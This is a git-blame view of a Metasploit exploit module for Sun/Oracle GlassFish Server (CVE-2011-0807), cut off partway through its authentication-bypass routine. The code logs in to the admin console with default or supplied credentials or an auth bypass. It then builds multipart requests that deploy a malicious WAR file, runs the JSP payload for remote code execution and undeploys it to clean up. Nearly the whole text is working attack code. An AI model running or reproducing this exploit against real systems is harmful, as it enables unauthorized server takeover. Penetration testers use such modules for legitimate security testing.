Files
metasploit-gs/modules/exploits/multi/http/glassfish_deployer.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

837 lines
28 KiB
Ruby
Raw Normal View History

2011-08-04 17:36:01 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-08-04 17:36:01 +00:00
##
2015-06-25 01:58:24 -05:00
require 'nokogiri'
2015-06-24 14:17:45 -05:00
require 'metasploit/framework/login_scanner/glassfish'
require 'metasploit/framework/credential_collection'
2011-08-04 17:36:01 +00:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2011-08-04 17:36:01 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
2015-06-25 22:39:56 -05:00
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
def initialize(info={})
super(update_info(info,
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",
'Description' => %q{
2017-08-28 20:17:58 -04:00
This module logs in to a GlassFish Server (Open Source or Commercial) using various
2015-06-25 01:58:24 -05:00
methods (such as authentication bypass, default credentials, or user-supplied login),
and deploys a malicious war file in order to get remote code execution. It has been
2015-06-25 17:04:31 -05:00
tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer
GlassFish versions do not allow remote access (Secure Admin) by default, but is required
for exploitation.
2011-08-04 17:36:01 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2015-06-25 01:58:24 -05:00
'juan vazquez', # Msf module for Glassfish 3.0
'Joshua Abraham <jabra[at]rapid7.com>', # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1
'sinn3r' # Rewrite for everything
2011-08-04 17:36:01 +00:00
],
'References' =>
[
['CVE', '2011-0807'],
2015-06-25 01:58:24 -05:00
['OSVDB', '71948']
2011-08-04 17:36:01 +00:00
],
2015-06-25 01:58:24 -05:00
'Platform' => ['win', 'linux', 'java'],
2011-08-04 17:36:01 +00:00
'Targets' =>
[
[ 'Automatic', { } ],
2015-06-24 14:17:45 -05:00
[ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ],
[ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
2015-06-25 01:58:24 -05:00
[ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
2011-08-04 17:36:01 +00:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-08-04',
2011-08-04 17:36:01 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
register_options(
[
Opt::RPORT(4848),
OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']),
2018-08-07 16:42:00 -05:00
OptString.new('USERNAME', [ true, 'The username to authenticate as','admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
2015-06-26 14:02:17 -05:00
OptString.new('TARGETURI', [ true, "The URI path of the GlassFish Server", '/']),
2015-06-25 02:06:51 -05:00
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false])
])
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Send GET or POST request, and return the response
#
2016-08-30 15:56:51 -05:00
def send_glassfish_request(path, method, session='', data=nil, ctype=nil)
2011-08-04 17:36:01 +00:00
headers = {}
2015-06-24 14:17:45 -05:00
headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank?
headers['Content-Type'] = ctype if ctype
2016-08-30 15:46:08 -05:00
headers['Connection'] = 'keep-alive'
headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
headers['Accept-Language'] = 'en-US,en;q=0.5'
headers['Accept-Encoding'] = 'gzip, deflate, br'
2011-08-04 17:36:01 +00:00
res = send_request_raw({
'uri' => path,
'method' => method,
'data' => data,
'headers' => headers,
2015-06-24 14:17:45 -05:00
})
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Return target
#
def auto_target(session, res, version)
print_status("Attempting to automatically select a target...")
2013-08-30 16:28:54 -05:00
2015-06-24 19:30:02 -05:00
res = query_serverinfo(session, version)
2015-06-24 14:17:45 -05:00
return nil unless res
return nil unless res.body
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
plat = detect_platform(res.body)
arch = detect_arch(res.body)
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
# No arch or platform found?
2015-06-24 14:17:45 -05:00
return nil if !arch || !plat
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
# see if we have a match
targets.each do |t|
2015-06-24 14:17:45 -05:00
return t if (t['Platform'] == plat) && (t['Arch'] == arch)
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
# no matching target found
2015-06-24 14:17:45 -05:00
nil
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Return platform (win, linux, or osx)
#
def detect_platform(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.name = (.*)/
os = $1
case os
when /Windows/
return 'win'
when /Linux/
return 'linux'
when /Mac OS X/
return 'osx'
end
end
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
return 'java'
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Return ARCH
#
def detect_arch(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.arch = (.*)/
ar = $1
case ar
when 'x86', 'i386', 'i686'
return ARCH_X86
when 'x86_64', 'amd64'
return ARCH_X64
2011-08-04 17:36:01 +00:00
end
end
end
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Return server information
#
def query_serverinfo(session,version)
res = ''
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if version == '2.x' || version == '9.x'
2011-08-04 17:36:01 +00:00
path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2011-08-04 17:36:01 +00:00
else
path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if !res || res.code != 200 || res.body.to_s !~ /Operating System Information/
2011-08-04 17:36:01 +00:00
path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2011-08-04 17:36:01 +00:00
end
end
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if !res || res.code != 200
2011-08-04 17:36:01 +00:00
print_error("Failed: Error requesting #{path}")
return nil
end
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
res
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Return viewstate and entry before deleting a GlassFish application
#
def get_delete_info(session, version, app='')
2015-06-24 14:17:45 -05:00
if version == '2.x' || version == '9.x'
2011-08-04 17:36:01 +00:00
path = '/applications/webApplications.jsf'
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if !res || res.code != 200
2011-08-04 17:36:01 +00:00
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
input_id = "javax.faces.ViewState"
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
viewstate = res.body.scan(p)[0][0]
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
entry = nil
p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
else
path = '/common/applications/applications.jsf?bare=true'
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if !res || res.code != 200
2011-08-04 17:36:01 +00:00
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end
2013-08-30 16:28:54 -05:00
2015-06-25 01:58:24 -05:00
viewstate = get_viewstate(res.body)
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
entry = nil
p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end
end
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if !viewstate
2011-08-04 17:36:01 +00:00
print_error("Failed: Error getting ViewState")
return nil
2015-06-24 14:17:45 -05:00
elsif !entry
2011-08-04 17:36:01 +00:00
print_error("Failed: Error getting the entry to delete")
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
return viewstate, entry
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Send an "undeploy" request to Glassfish and remove our backdoor
#
def undeploy(viewstate, session, entry)
#Send undeployment request
data = [
"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
"&#{Rex::Text.uri_encode(entry)}=true",
"&propertyForm%3AhelpKey=ref-applications.html",
"&propertyForm_hidden=propertyForm_hidden",
"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.execute=%40all",
"&javax.faces.partial.render=%40all",
"&bare=true",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.ajax=true"
].join()
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
path = '/common/applications/applications.jsf'
ctype = 'application/x-www-form-urlencoded'
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['POST'], session, data, ctype)
if !res
2011-08-04 17:36:01 +00:00
print_error("Undeployment failed on #{path} - No Response")
else
2015-06-24 14:17:45 -05:00
if res.code < 200 || res.code >= 300
2011-08-04 17:36:01 +00:00
print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
end
end
end
2013-08-30 16:28:54 -05:00
2015-06-25 22:39:56 -05:00
def report_glassfish_version(banner)
report_note(
host: rhost,
type: 'glassfish.banner',
data: banner,
update: :unique_data
)
end
2011-08-04 17:36:01 +00:00
#
# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
# banner (ex: Sun Java System Application Server 9.x)
#
def get_version(res)
2015-06-25 22:39:56 -05:00
# Extract banner from response
2011-08-04 17:36:01 +00:00
banner = res.headers['Server']
2013-08-30 16:28:54 -05:00
2015-06-25 22:39:56 -05:00
# Default value for edition and glassfish version
2011-08-04 17:36:01 +00:00
edition = 'Commercial'
version = 'Unknown'
2013-08-30 16:28:54 -05:00
2015-06-25 22:39:56 -05:00
# Set edition (Open Source or Commercial)
2011-08-04 17:36:01 +00:00
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
edition = 'Open Source' if banner =~ p
2013-08-30 16:28:54 -05:00
2015-06-25 01:58:24 -05:00
# Set version. Some GlassFish servers return banner "GlassFish v3".
if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/
2011-08-04 17:36:01 +00:00
version = $2
2015-06-24 14:17:45 -05:00
elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown'
2011-08-04 17:36:01 +00:00
version = $1
2015-06-24 14:17:45 -05:00
elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown'
2011-08-04 17:36:01 +00:00
version = '2.x'
2015-06-24 14:17:45 -05:00
elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown'
2011-08-04 17:36:01 +00:00
version = '9.x'
end
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if version == nil || version == 'Unknown'
2011-08-04 17:36:01 +00:00
print_status("Unsupported version: #{banner}")
end
2013-08-30 16:28:54 -05:00
2015-06-25 22:39:56 -05:00
report_glassfish_version(banner)
2011-08-04 17:36:01 +00:00
return edition, version, banner
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Return the formatted version of the POST data
#
def format_2_x_war(boundary,name,value=nil, war=nil)
data = ''
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
2013-08-30 16:28:54 -05:00
return data
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Return the formatted version of the POST data
#
def format(boundary,name,value=nil, war=nil)
data = ''
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
if war
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
else
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
data << "\r\n\r\n"
data << "#{value}\r\n"
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
return data
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#
# Return POST data and data length, based on GlassFish edition
#
2014-01-24 20:12:06 -06:00
def get_upload_data(opts = {})
boundary = opts[:boundary]
version = opts[:version]
war = opts[:war]
app_base = opts[:app_base]
typefield = opts[:typefield]
status_checkbox = opts[:status_checkbox]
start = opts[:start]
viewstate = opts[:viewstate]
2011-08-04 17:36:01 +00:00
data = ''
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
if version == '3.0'
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadparam_data = "form:sheet1:section1:prop1:fileupload"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
boundary = "--#{boundary}"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
data = [
format(boundary, app_base, nil, war),
format(boundary, uploadParam_name, uploadparam_data),
format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:sheet1:section1:prop1:action", "client"),
format(boundary, typefield, "war"),
format(boundary, "form:war:psection:cxp:ctx", app_base),
format(boundary, "form:war:psection:nameProp:appName", app_base),
format(boundary, "form:war:psection:vsProp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:war:psection:librariesProp:library", ""),
format(boundary, "form:war:psection:descriptionProp:description", ""),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
"#{boundary}--"
].join()
2015-06-24 14:17:45 -05:00
elsif version == '2.x' || version == '9.x'
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = 'form:title:topButtons:uploadButton'
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
boundary = "-----------------------------#{boundary}"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
data = [
format_2_x_war(boundary, app_base, nil, war),
format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
format(boundary, "uploadRdBtn", "client"),
format(boundary, uploadParam_name, uploadParam_data),
format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
format(boundary, "form:title:ps:psec:vsp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:title:ps:psec:librariesProp:library", ""),
format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
format(boundary, "form:helpKey", "uploaddev.html"),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
format(boundary, focusElementId_name, focusElementId_data),
"#{boundary}--"
].join()
else
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
boundary = "-----------------------------#{boundary}"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#Setup dynamic arguments
num1 = start.to_i
num2 = num1 + 14
num3 = num2 + 2
num4 = num3 + 2
num5 = num4 + 2
num6 = num5 + 2
num7 = num6 + 1
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
id0 = num4
id1 = num4 + 1
id2 = num4 + 2
id3 = num4 + 3
id4 = num4 + 4
id5 = num4 + 5
id6 = num4 + 6
id7 = num4 + 7
id8 = num4 + 8
id9 = num4 + 9
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_value = "form:sheet1:section1:prop1:fileupload"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = "form:title2:bottomButtons:uploadButton"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
data = [
format(boundary,"uploadRdBtn","client"),
## web service
format(boundary, app_base, nil, war),
## sheet1
format(boundary, uploadParam_name, uploadParam_value),
format(boundary,"form:sheet1:section1:prop1:extension",".war"),
format(boundary,"form:sheet1:section1:prop1:action","client"),
format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:appClient:psection:descriptionProp:description"),
## war
format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:war:psection:vsProp:vs"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
2016-08-30 15:46:08 -05:00
format(boundary,"form:other:psection:descriptionProp:description", ""),
format(boundary,"form:other:psection:librariesProp:library", ""),
format(boundary,"form:other:psection:deploymentOrder:deploymentOrder", ""),
format(boundary,"form:other:psection:implicitCdi:implicitCdi", "true"),
format(boundary,"form:other:psection:enableProp:sun_checkbox44","true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox42","true"),
format(boundary,"form:other:psection:vsProp:vs",""),
format(boundary,"form:rar:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:rar:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:rar:psection:enableProp:sun_checkbox40","true"),
format(boundary,"form:other:psection:nameProp:appName", app_base),
format(boundary,"form:rar:psection:nameProp:appName", app_base),
format(boundary,"form:jar:psection:nameProp:appName", app_base),
format(boundary,"form:ear:psection:nameProp:appName", app_base),
format(boundary,"form:ear:psection:descriptionProp:description",""),
format(boundary,"form:jar:psection:deploymentOrder:deploymentOrder", ""),
format(boundary,"form:jar:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:ear:psection:jw:jwc","true"),
format(boundary,"form:ear:psection:vsProp:vs",""),
format(boundary,"form:appClient:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:jar:psection:enableProp:sun_checkbox38","true"),
format(boundary,"form:jar:psection:descriptionProp:description", ""),
format(boundary,"form:ear:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:appClient:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:ear:psection:enableProp:sun_checkbox36","true"),
format(boundary,"form:war:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:jar:psection:librariesProp:library",""),
format(boundary,"form:appClient:psection:jw:jwt","true"),
format(boundary,"form:ear:psection:librariesProp:library", ""),
format(boundary,"form:sheet1:sun_propertySheetSection23:type:appType","war"),
format(boundary,"form:ear:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:rar:psection:descriptionProp:description",""),
format(boundary,"form:war:psection:implicitCdi:implicitCdi","true"),
2011-08-04 17:36:01 +00:00
format(boundary,"form:war:psection:librariesProp:library"),
format(boundary,"form:war:psection:descriptionProp:description"),
format(boundary,"form_hidden","form_hidden"),
format(boundary,"javax.faces.ViewState","#{viewstate}"),
format(boundary, focusElementId_name, focusElementId_data)
].join()
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
item_list_data = "|server|com.sun.webui.jsf.separator|"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
item_value_data = "server"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
data << format(boundary, item_list_name, item_list_data)
data << format(boundary, item_value_name, item_value_data)
data << "#{boundary}--"
data << "\r\n\r\n"
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
return data
end
2013-08-30 16:28:54 -05:00
2015-06-25 01:58:24 -05:00
def get_viewstate(body)
noko = Nokogiri::HTML(body)
inputs = noko.search('input')
hidden_inputs = []
inputs.each {|e| hidden_inputs << e if e.attributes['type'].text == 'hidden'}
hidden_inputs.each do |e|
if e.attributes['name'].text == 'javax.faces.ViewState'
return e.attributes['value'].text
end
end
''
end
2011-08-04 17:36:01 +00:00
#
# Upload our payload, and execute it. This function will also try to automatically
# clean up after itself.
#
2014-01-24 20:12:06 -06:00
def upload_exec(opts = {})
session = opts[:session]
app_base = opts[:app_base]
jsp_name = opts[:jsp_name]
war = opts[:war]
edition = opts[:edition]
version = opts[:version]
2015-06-24 14:17:45 -05:00
if version == '2.x' || version == '9.x'
2011-08-04 17:36:01 +00:00
path = "/applications/upload.jsf?appType=webApp"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-25 01:58:24 -05:00
# Obtain some properties
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
viewstate = get_viewstate(res.body)
status_checkbox = res.body.scan(p2)[0][0]
boundary = rand_text_alphanumeric(28)
2011-08-04 17:36:01 +00:00
else
path = "/common/applications/uploadFrame.jsf"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-25 01:58:24 -05:00
# Obtain some properties
res.body =~ /propertySheetSection(\d{3})/
start = $1
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
rnd_text = rand_text_alphanumeric(29)
viewstate = get_viewstate(res.body)
typefield = res.body.scan(p2)[0][0]
status_checkbox = res.body.scan(p3)[0][0]
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
# Get upload data
2011-08-04 17:36:01 +00:00
if version == '3.0'
ctype = "multipart/form-data; boundary=#{boundary}"
2015-06-24 14:17:45 -05:00
elsif version == '2.x' || version == '9.x'
2011-08-04 17:36:01 +00:00
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
typefield = ''
start = ''
2011-08-04 17:36:01 +00:00
else
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
end
2013-08-30 16:28:54 -05:00
2014-01-24 20:12:06 -06:00
post_data = get_upload_data({
:boundary => boundary,
:version => version,
:war => war,
:app_base => app_base,
:typefield => typefield,
:status_checkbox => status_checkbox,
:start => start,
:viewstate => viewstate
})
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
# Upload our payload
if version == '2.x' || version == '9.x'
2011-08-04 17:36:01 +00:00
path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
else
path = '/common/applications/uploadFrame.jsf?'
path << 'form:title:topButtons:uploadButton=Processing...'
path << '&bare=false'
end
2013-08-30 16:28:54 -05:00
2016-08-30 15:56:51 -05:00
res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype)
2015-06-24 14:17:45 -05:00
# Print upload result
2016-08-30 15:46:08 -05:00
if res && res.code == 302
2017-07-19 12:48:52 +01:00
print_good("Successfully Uploaded")
2011-08-04 17:36:01 +00:00
else
print_error("Error uploading #{res.code}")
return
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
#Execute our payload using the application interface (no need to use auth bypass technique)
2015-06-26 14:02:17 -05:00
jsp_path = normalize_uri(target_uri.path, app_base, "#{jsp_name}.jsp")
2011-08-04 17:36:01 +00:00
nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
{
'Msf' => framework,
'MsfExploit' => self,
}
)
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
print_status("Executing #{jsp_path}...")
req = nclient.request_raw({
'uri' => jsp_path,
'method' => 'GET',
})
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if req
2011-08-04 17:36:01 +00:00
res = nclient.send_recv(req, 90)
else
print_status("Error: #{rhost} did not respond on #{app_rport}.")
end
2013-08-30 16:28:54 -05:00
2015-06-24 19:30:02 -05:00
# Sleep for a bit before cleanup
2011-08-04 17:36:01 +00:00
select(nil, nil, nil, 5)
2013-08-30 16:28:54 -05:00
2015-06-25 01:58:24 -05:00
# Start undeploying
2011-08-04 17:36:01 +00:00
print_status("Getting information to undeploy...")
viewstate, entry = get_delete_info(session, version, app_base)
2015-06-24 14:17:45 -05:00
if !viewstate
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Unable to get viewstate")
2011-08-04 17:36:01 +00:00
elsif (not entry)
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Unable to get entry")
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
print_status("Undeploying #{app_base}...")
undeploy(viewstate, session, entry)
2013-08-30 16:28:54 -05:00
2011-08-04 17:36:01 +00:00
print_status("Undeployment complete.")
end
2013-08-30 16:28:54 -05:00
2015-06-24 19:30:02 -05:00
def init_loginscanner
@cred_collection = Metasploit::Framework::CredentialCollection.new
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
configure_http_login_scanner(
cred_details: @cred_collection,
connection_timeout: 5,
2016-05-27 18:37:04 -05:00
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
2015-06-24 14:17:45 -05:00
)
)
2011-08-04 17:36:01 +00:00
end
2013-08-30 16:28:54 -05:00
2015-06-25 22:39:56 -05:00
def report_auth_bypass(version)
report_vuln(
name: 'GlassFish HTTP Method Authentication Bypass',
info: "The remote service has a vulnerable version of GlassFish (#{version}) that allows the " \
'attacker to bypass authentication by sending an HTTP verb in lower-case.',
host: rhost,
port: rport,
proto: 'tcp',
refs: self.references
)
end
2015-06-24 14:17:45 -05:00
def try_glassfish_auth_bypass(version)
2015-06-24 19:49:04 -05:00
sid = nil
2014-06-09 15:35:04 -05:00
2015-06-24 14:17:45 -05:00
if version == '2.x' || version == '9.x'
2015-06-24 19:49:04 -05:00
print_status("Trying auth bypass...")
2015-06-24 14:17:45 -05:00
